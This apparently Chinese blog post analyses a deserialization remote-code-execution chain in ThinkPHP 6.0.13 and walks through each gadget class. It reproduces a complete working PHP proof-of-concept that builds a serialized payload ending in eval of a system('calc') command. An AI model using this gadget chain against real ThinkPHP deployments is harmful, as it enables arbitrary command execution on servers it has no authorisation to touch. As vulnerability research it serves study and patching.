Think PHP 6.0.13反序列化分析

原poc链接:https://github.com/top-think/framework/issues/2749

think PHP 6.0.13下载

composer create-project topthink/think tp

poc源码

<?php

namespace League\Flysystem\Cached\Storage{

    class Psr6Cache{
        private $pool;
        protected $autosave = false;
        public function __construct($exp)
        {
            $this->pool = $exp;
        }
    }
}

namespace think\log{
    class Channel{
        protected $logger;
        protected $lazy = true;

        public function __construct($exp)
        {
            $this->logger = $exp; 
            $this->lazy = false;
        }
    }
}

namespace think{
    class Request{
        protected $url;
        public function __construct()
        {
            $this->url = '<?php system(\'calc\'); exit(); ?>';
        }
    }
    class App{
        protected $instances = [];
        public function __construct()
        {
            $this->instances = ['think\Request'=>new Request()];
        }
    }
}

namespace think\view\driver{
    class Php{}
}

namespace think\log\driver{
    class Socket{
        protected $config = [];
        protected $app;
        protected $clientArg = [];

        public function __construct()
        {
            
            $this->config = [
                'debug'=>true,
                'force_client_ids' => 1,
                'allow_client_ids' => '',
                'format_head' => [new \think\view\driver\Php,'display'], # 利用类和方法
            ];
            $this->app = new \think\App();
            $this->clientArg = ['tabid'=>'1'];
        }
    }
}

namespace{
    $c = new think\log\driver\Socket();
    $b = new think\log\Channel($c);
    $a = new League\Flysystem\Cached\Storage\Psr6Cache($b);
    echo base64_encode(serialize($a));
}

分析

从POC开始分析

起始类是Psr6Cache类,但是在Psr6Cache类中没有发现__destruct()方法,在定义类的地方发现其继承了AbstractCache类。通过全局查找__destruct方法定位到src/Storage/AbstractCache.php

这里对autosave变量进行判断是否为false,$autosave是成员变量可以控制,后调用了save方法,跟进save方法

 调用了pool的getItem方法,这里AbstractCache->pool是可控的,找一下__call方法,根据POC找到Channel.php

 调用了log方法,再跟进record方法(记录日志信息)

 

 在record方法中的前三个判断都可以过,主要看第四个判断,因为这里是要利用$this->save方法

$lazy默认是true不可控,但是$this->lazy是成员变量可控,因此可以进入save方法。继续 跟进save方法。

在save方法判断了$this-event是否有值,这里默认是没有的,可以跳过,到$this->logger->save()

 这里调用了$this->logger记录器的save方法,然而这里的logger是成员变量,是可控的。根据POC可以发现这里利用了socket的save方法

namespace think\log{
    class Channel{
        protected $logger;
        protected $lazy = true;

        public function __construct($exp)
        {//$exp=new socket()
            $this->logger = $exp; 
            $this->lazy = false;
        }
    }
}

 全局找一下save方法,继续跟进socket的save方法

这里首先对自身进行了检查,不通过就返回false,这里我们必须要check方法返回true,跟进check方法。check方法的主要功能是获取用户输入的taid参数、检查是否记录日志和用户认证。

这里看一下检查request实例对象的分支

 这里在POC中给了App中request的实例对象

再回到socket的save方法

判断debug是否开启,这里可控。这里有判断了$this->app的request实例对象是否存在,这里可以直接进入,然后获取request实例对象的url的值(这个值是重点)。然后判断this->config['format_head']是否存在,存在的话就调用$this->app的inoke方法,尝试调用反射执行this->config['format_head']的方法,参数是$currentUri。在这里我们只要找到可以执行危险操作的危险函数,并将其控制到this->config['format_head']里面就可以进行RCE了。而这个config是一个成员变量,是可控的,因此只要寻找危险方法就可以了。这里POC找的是Php类的display方法,里面存在eval函数。

POC通过控制config即可控制程序执行到Php类的display方法。

在POC中控制了App对象中request实例对象的url的值

(socket)$this->app->request->url='<?php system(\'calc\'); exit(); ?>']

在display方法中执行eval('?><?php system(\'calc\'); exit(); ?>'),成功调用系统计算器

此次反序列化漏洞主要需要控制的点,是在Socket类中的变量控制,和Php中的display方法的利用。还要一点就是在构造POC时Psr6Cache类的pool变量必须要写在前面,否则生成的payload是无效的。。。自己在仿造POC时调试了很久。

 此次分析就到这吧,感谢秋秋晚的指点

参考:TP6.0.13反序列化简单分析 - 秋秋晚

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值